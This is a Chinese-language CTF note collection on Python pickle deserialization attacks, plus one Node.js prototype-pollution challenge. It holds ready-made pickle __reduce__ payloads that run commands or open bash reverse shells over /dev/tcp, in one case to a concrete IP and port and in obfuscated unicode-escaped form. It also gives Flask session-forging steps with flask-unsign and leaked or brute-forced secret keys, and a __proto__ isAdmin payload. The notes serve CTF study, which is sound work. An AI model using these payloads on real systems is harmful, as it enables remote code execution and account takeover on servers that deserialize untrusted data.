pickle
常用payload(没有os模块)
import pickle
import base64
class A(object):
def __reduce__(self):
return (eval, ("__import__('os').popen('tac /flag').read()",))
a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))
环境有os模块
import pickle
import os
import base64
class aaa():
def __reduce__(self):
return(os.system,('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"',))
a= aaa()
payload=pickle.dumps(a)
payload=base64.b64encode(payload)
print(payload)
#注意payloads生成的shell脚本需要在目标机器操作系统上执行,否则会报错
所以最好所有poc在linux上生成
例题
1.[HFCTF 2021 Final]easyflask
[https://buuoj.cn/challenges#[HFCTF%202021%20Final]easyflask](https://buuoj.cn/challenges#[HFCTF 2021 Final]easyflask)
非预期(任意文件读取)
直接读环境变量/proc/1/environ
预期解
app源码
#!/usr/bin/python3.6
import os
import pickle
from base64 import b64decode
from flask import Flask, request, render_template, session
app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})
@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return "/file?file=index.js"
@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
return 'disallowed'
with open(path, 'r') as fp:
content = fp.read()
return content
@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'
if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'
if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)
直接读环境变量/proc/1/environ
发现 secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh
可以直接伪造secret_key
漏洞代码
@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'
伪造session实现 读取 u 中的 b值
对b中的值进行反序列化,可以直接触发RCE
>flask-unsign --sign --cookie "{'u':{'b':'payload'}}" --secret "glzjin22948575858jfjfjufirijidjitg3uiiuuh"
在linux系统下运行
import os
import pickle
import base64
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
'__reduce__': lambda o: (os.system, ('bash -c "bash -i >& /dev/tcp/148.135.82.190/8888 0>&1"',))
})
user=pickle.dumps(User())
print(base64.b64encode(user).decode())
生成后伪造
用hackerbar发cookie触发
可以反弹shell
2.[MTCTF 2022]easypickle
当时题目环境给了源码的
import base64
import pickle
from flask import Flask, session
import os
import random
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()
@app.route('/')
def hello_world():
if not session.get('user'):
session['user'] = ''.join(random.choices("admin", k=5))
return 'Hello {}!'.format(session['user'])
@app.route('/admin')
def admin():
if session.get('user') != "admin":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
decode一下session
os.urandom(2).hex()
爆破session
爆破密钥为 dabe
构造类似的payload{'user':'admin','ser_data':'payload'}
漏洞代码
@app.route('/admin')
def admin():
if session.get('user') != "admin":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"
存在逻辑问题
替换后的 a 进行检查
R i o b
但是实际反序列化是ser_data
因此os中o可以存在,但是单独的o是被禁止的,因为os被替换成Os,但对后续ser_data不影响
bash -c 'sh -i >& /dev/tcp/ip/port 0>&1'
环境只有sh
将前面总结的payload改写一下
b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nV\u0062\u0061\u0073\u0068\u0020\u002D\u0063\u0020\u0027\u0073\u0068\u0020\u002D\u0069\u0020\u003E\u0026\u0020\u002F\u0064\u0065\u0076\u002F\u0074\u0063\u0070\u002F\u0031\u0034\u0038\u002E\u0031\u0033\u0035\u002E\u0038\u0032\u002E\u0031\u0039\u0030\u002F\u0038\u0038\u0038\u0038\u0020\u0030\u003E\u0026\u0031\u0027\nos.'''
KFMna2V5MScKUyd2YWwxJwpkUyd2dWwnCihjb3MKc3lzdGVtClZcdTAwNjJcdTAwNjFcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMkRcdTAwNjNcdTAwMjBcdTAwMjdcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMkRcdTAwNjlcdTAwMjBcdTAwM0VcdTAwMjZcdTAwMjBcdTAwMkZcdTAwNjRcdTAwNjVcdTAwNzZcdTAwMkZcdTAwNzRcdTAwNjNcdTAwNzBcdTAwMkZcdTAwMzFcdTAwMzRcdTAwMzhcdTAwMkVcdTAwMzFcdTAwMzNcdTAwMzVcdTAwMkVcdTAwMzhcdTAwMzJcdTAwMkVcdTAwMzFcdTAwMzlcdTAwMzBcdTAwMkZcdTAwMzhcdTAwMzhcdTAwMzhcdTAwMzhcdTAwMjBcdTAwMzBcdTAwM0VcdTAwMjZcdTAwMzFcdTAwMjcKb3Mu
伪造session数据:
{'user':'admin','ser_data':'KFMna2V5MScKUyd2YWwxJwpkUyd2dWwnCihjb3MKc3lzdGVtClZcdTAwNjJcdTAwNjFcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMkRcdTAwNjNcdTAwMjBcdTAwMjdcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMkRcdTAwNjlcdTAwMjBcdTAwM0VcdTAwMjZcdTAwMjBcdTAwMkZcdTAwNjRcdTAwNjVcdTAwNzZcdTAwMkZcdTAwNzRcdTAwNjNcdTAwNzBcdTAwMkZcdTAwMzFcdTAwMzRcdTAwMzhcdTAwMkVcdTAwMzFcdTAwMzNcdTAwMzVcdTAwMkVcdTAwMzhcdTAwMzJcdTAwMkVcdTAwMzFcdTAwMzlcdTAwMzBcdTAwMkZcdTAwMzhcdTAwMzhcdTAwMzhcdTAwMzhcdTAwMjBcdTAwMzBcdTAwM0VcdTAwMjZcdTAwMzFcdTAwMjcKb3Mu'}
易错 flask-unsign --sign --cookie ""
里面就不要用"“包裹了 重要!!!会产生歧义
可以成功反弹shell
node.js
CatCTF 2022 wife
环境参考https://adworld.xctf.org.cn/challenges/list
打开题目
发现是一个登录界面,给出了注册界面,点击注册界面,可以发现需要一个邀请码
如果没有邀请码的话,我们进去是这个样子
此时如果考虑到JS原型链污染的话,就变得简单了,应该是我们越权拿到管理员权限,从而获取flag
,其注册界面源码如下所示(比赛时是黑盒,这里并未给出源码)
app.post('/register', (req, res) => {
let user = JSON.parse(req.body)
if (!user.username || !user.password) {
return res.json({ msg: 'empty username or password', err: true })
}
if (users.filter(u => u.username == user.username).length) {
return res.json({ msg: 'username already exists', err: true })
}
if (user.isAdmin && user.inviteCode != INVITE_CODE) {
user.isAdmin = false
return res.json({ msg: 'invalid invite code', err: true })
}
let newUser = Object.assign({}, baseUser, user)
users.push(newUser)
res.json({ msg: 'user created successfully', err: false })
})
我们这里注意到Object.assign
方法,他类似之前示例说的clone
函数,Object.assign
这个方法是可以触发原型链污染的,所以我们这里污染__proto__.isAdmin
为 true
就可以了。
{"__proto__":{"isAdmin":true}
此时便可越权拿到flag